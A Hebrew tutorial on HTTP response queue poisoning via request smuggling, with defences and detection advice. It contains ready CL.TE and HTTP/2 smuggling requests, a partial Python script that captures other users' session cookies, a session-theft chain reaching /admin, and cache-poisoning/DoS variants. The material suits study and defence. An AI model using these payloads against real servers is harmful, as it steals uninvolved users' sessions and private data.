לדלג לתוכן

הרעלת תור תגובות - Response Queue Poisoning

מבוא

הרעלת תור תגובות (Response Queue Poisoning) היא צורה מתקדמת של תקיפת הברחת בקשות שבה התוקף גורם ל-desync מלא בין תור הבקשות לתור התגובות. בניגוד להברחת בקשות רגילה שבה הבקשה המוברחת מצורפת לבקשה הבאה, בהרעלת תור תגובות - הבקשה המוברחת היא בקשה מלאה שגורמת לשרת לייצר תגובה נוספת, ובכך מזיזה את כל תור התגובות בעמדה אחת.


הבדל מהברחת בקשות רגילה

הברחת בקשות רגילה

תוקף שולח:     [בקשה רגילה + prefix מוברח]
בקשה הבאה:     [prefix + בקשת קורבן] -> שגיאה או תגובה שונה

ה-prefix המוברח מצורף לבקשה הבאה ומשנה אותה. התגובה עדיין מגיעה למבקש הנכון.

הרעלת תור תגובות

תוקף שולח:     [בקשה רגילה + בקשה מוברחת מלאה]
שרת מייצר:     [תגובה לבקשה רגילה] + [תגובה לבקשה מוברחת]
קורבן שולח:    [בקשת קורבן]
קורבן מקבל:    [תגובה לבקשה המוברחת] (לא שלו!)
תוקף שולח:     [בקשה נוספת]
תוקף מקבל:     [תגובה לבקשת הקורבן] (כולל session!)

מנגנון התקיפה בפירוט

שלב 1 - מצב רגיל

בחיבור keep-alive, בקשות ותגובות עוברות בתור:

חיבור בין front-end ל-back-end:

בקשות:   [בקשה A] [בקשה B] [בקשה C] -->
תגובות:  <-- [תגובה A] [תגובה B] [תגובה C]

כל בקשה מקבלת את התגובה המתאימה לה.

שלב 2 - הזרקת בקשה מוברחת

התוקף שולח בקשה שמכילה בקשה מוברחת מלאה:

חיבור:

בקשות שנשלחו ל-back-end:
  [בקשת תוקף] [בקשה מוברחת] [בקשת קורבן]
                    ^
                    הוזרקה על ידי התוקף

תגובות שחוזרות מה-back-end:
  [תגובה לתוקף] [תגובה למוברחת] [תגובה לקורבן]

שלב 3 - חוסר סנכרון

ה-front-end ראה שתי בקשות (תוקף + קורבן), אבל ה-back-end מייצר שלוש תגובות:

front-end מצפה:  [תגובה לתוקף] [תגובה לקורבן]
back-end שולח:   [תגובה לתוקף] [תגובה למוברחת] [תגובה לקורבן]

מה שקורה:
  התוקף מקבל: [תגובה לתוקף]           - תקין
  הקורבן מקבל: [תגובה למוברחת]         - לא שלו!
  הבקשה הבאה מקבלת: [תגובה לקורבן]     - של מישהו אחר!

דוגמה מעשית

הבקשה הזדונית (CL.TE)

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Transfer-Encoding: chunked

0

GET /anything HTTP/1.1
Host: vulnerable-website.com

מה קורה

1. ה-front-end רואה בקשת POST אחת (Content-Length: 61)
2. ה-back-end רואה:
   - POST / (chunked, סיום ב-0)
   - GET /anything (בקשה חדשה)
3. ה-back-end מייצר שתי תגובות
4. ה-front-end מצפה לתגובה אחת
5. התגובה הראשונה הולכת לתוקף
6. התגובה השנייה "נתקעת" בתור
7. הבקשה הבאה מכל משתמש מקבלת את התגובה ה"תקועה"

לכידת תגובת הקורבן

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Transfer-Encoding: chunked

0

GET /anything HTTP/1.1
Host: vulnerable-website.com

שליחת הבקשה הזדונית, ואז מיד שליחת בקשה רגילה:

GET / HTTP/1.1
Host: vulnerable-website.com

התגובה לבקשה הרגילה תהיה בפועל התגובה של המשתמש הבא - שעלולה לכלול:
- כותרת Set-Cookie עם טוקן session
- תוכן דף פרטי
- טוקני CSRF


תזמון ואמינות

אתגרי תזמון

הרעלת תור תגובות רגישה לתזמון:

1. הבקשה המוברחת חייבת להיות מלאה וחוקית
2. צריך לשלוח בקשה נוספת מיד אחרי כדי ללכוד את התגובה
3. אם משתמש אחר שולח בקשה בין לבין, הוא יקבל את התגובה הלא שלו

שיפור אמינות

import requests
import threading
import time

def response_queue_poison(target_url, smuggle_payload):
    """ביצוע הרעלת תור תגובות עם ניסיונות חוזרים"""

    session = requests.Session()

    for attempt in range(10):
        # שלב 1: שליחת הבקשה המוברחת
        # (צריך socket גולמי כי requests לא תומך בהברחה)
        import socket

        sock = socket.create_connection(
            (target_url.replace('https://', ''), 443)
        )
        # ... שליחת הבקשה המוברחת ...

        # שלב 2: שליחת בקשה רגילה מיד
        time.sleep(0.1)
        resp = session.get(target_url)

        # שלב 3: בדיקה אם קיבלנו תגובה של מישהו אחר
        if 'Set-Cookie' in str(resp.headers):
            session_token = resp.headers.get('Set-Cookie', '')
            if 'session=' in session_token:
                print(f"[+] ניסיון {attempt+1}: נלכד טוקן!")
                print(f"    Cookie: {session_token}")
                return session_token

        print(f"[-] ניסיון {attempt+1}: לא נלכד טוקן")

    return None

שיטות לשיפור תזמון

1. שלחו מספר בקשות ברצף מהיר אחרי ההברחה
2. השתמשו בחיבורים מרובים במקביל
3. שלחו בקשות לנתיב שגורם ל-302 redirect (תגובה קצרה ומהירה)
4. שלחו בקשות לנתיב עם תגובה ייחודית כדי לזהות בקלות תגובה שאינה שלכם

דוגמה מלאה - גניבת session

שלב 1 - אישור הברחה

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0

GET /my-unique-path-12345 HTTP/1.1
Host: vulnerable-website.com

שולחים בקשה רגילה מיד אחרי. אם התגובה היא 404 עבור /my-unique-path-12345 - ההברחה עובדת ותור התגובות הוזז.

שלב 2 - לכידת session

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0

GET /login HTTP/1.1
Host: vulnerable-website.com

הבקשה המוברחת פונה ל-/login. שולחים בקשה רגילה מיד אחרי. אם יש משתמש שפנה לדף כלשהו, התגובה שלו (שעלולה לכלול כותרת Set-Cookie עם session חדש) תגיע אלינו.

שלב 3 - שימוש ב-session

GET /admin HTTP/1.1
Host: vulnerable-website.com
Cookie: session=<stolen-session-token>

הרעלת תור דרך HTTP/2

תקיפה זו יעילה במיוחד דרך HTTP/2 downgrade:

:method: POST
:path: /
:authority: vulnerable-website.com
content-type: application/x-www-form-urlencoded
transfer-encoding: chunked

0

GET /login HTTP/1.1
Host: vulnerable-website.com

היתרון של HTTP/2: ה-framing הבינארי מאפשר שליטה מדויקת יותר בגוף הבקשה, וה-CRLF injection מאפשר הזרקת כותרות שלא אפשריות ב-HTTP/1.1.


ניצול מתקדם - הרעלת תור לטובת הרעלת מטמון

ניתן לשלב הרעלת תור תגובות עם מטמון:

1. הבריחו בקשה ל-/login (שמחזיר redirect עם session)
2. שלחו בקשה רגילה ל-/static/main.js
3. התגובה של /login תישמר במטמון כ-/static/main.js
4. כל מבקר שיטען main.js יקבל redirect ל-/login

או:
1. הבריחו בקשה ל-/ (דף הבית)
2. שלחו בקשה ל-/static/main.js
3. תגובת דף הבית (HTML) תישמר כ-main.js
4. JavaScript parsing error לכל מבקר = DoS

זיהוי חולשה

סימנים שהתקיפה עובדת

1. אתם מקבלים תגובה שלא תואמת את הבקשה ששלחתם
2. קוד תגובה לא צפוי (למשל 302 כשציפיתם ל-200)
3. כותרות Set-Cookie בתגובה כשלא ביקשתם login
4. תוכן HTML כשביקשתם JavaScript

בדיקה בטוחה

1. שלחו בקשה מוברחת עם נתיב ייחודי (/unique-random-string)
2. שלחו מספר בקשות רגילות
3. אם אחת מהתגובות היא 404 עבור הנתיב הייחודי - יש desync
4. חשוב: בדיקה זו לא פוגעת במשתמשים אחרים אם הנתיב ייחודי

ההבדל בין סוגי הברחה

מאפיין הברחה רגילה הרעלת תור
בקשה מוברחת prefix חלקי בקשה מלאה
תגובות תגובה אחת מושפעת כל התור מוזז
מה נלכד בקשת הקורבן (כגוף) תגובת הקורבן (כולל headers)
אמינות גבוהה יחסית תלויה בתזמון
השפעה בקשה בודדת כל הבקשות עד לסנכרון מחדש

הגנה

1. שימוש ב-HTTP/2 מקצה לקצה

- פרוטוקול HTTP/2 משתמש ב-framing בינארי שמונע הברחת בקשות
- ודאו שאין downgrade ל-HTTP/1.1 בחיבור הפנימי

2. עיבוד בקשות קפדני

- דחו בקשות עם גם Content-Length וגם Transfer-Encoding
- נרמלו את עיבוד הבקשות בכל השכבות
- השתמשו באותה ספריית HTTP בכל השרתים

3. הגבלת חיבורי keep-alive

# nginx - הגבלת מספר בקשות בחיבור אחד
keepalive_requests 100;

# הגבלת זמן keep-alive
keepalive_timeout 60s;

4. ניטור אנומליות

- עקבו אחרי חוסר התאמה בין בקשות לתגובות
- בדקו אם תגובות מגיעות שלא בסדר
- התריעו על תגובות עם קוד לא צפוי

סיכום

הרעלת תור תגובות היא הצורה הקשה ביותר של הברחת בקשות. היא מאפשרת לתוקף ללכוד תגובות מלאות של משתמשים אחרים, כולל טוקני session וכותרות רגישות. נקודות מפתח:

  • הבקשה המוברחת חייבת להיות בקשה מלאה וחוקית שתייצר תגובה משלה
  • התגובה הנוספת מזיזה את כל תור התגובות ויוצרת desync
  • התזמון קריטי - צריך לשלוח בקשה מיד אחרי ההברחה
  • ההגנה הטובה ביותר היא HTTP/2 מקצה לקצה ועיבוד בקשות קפדני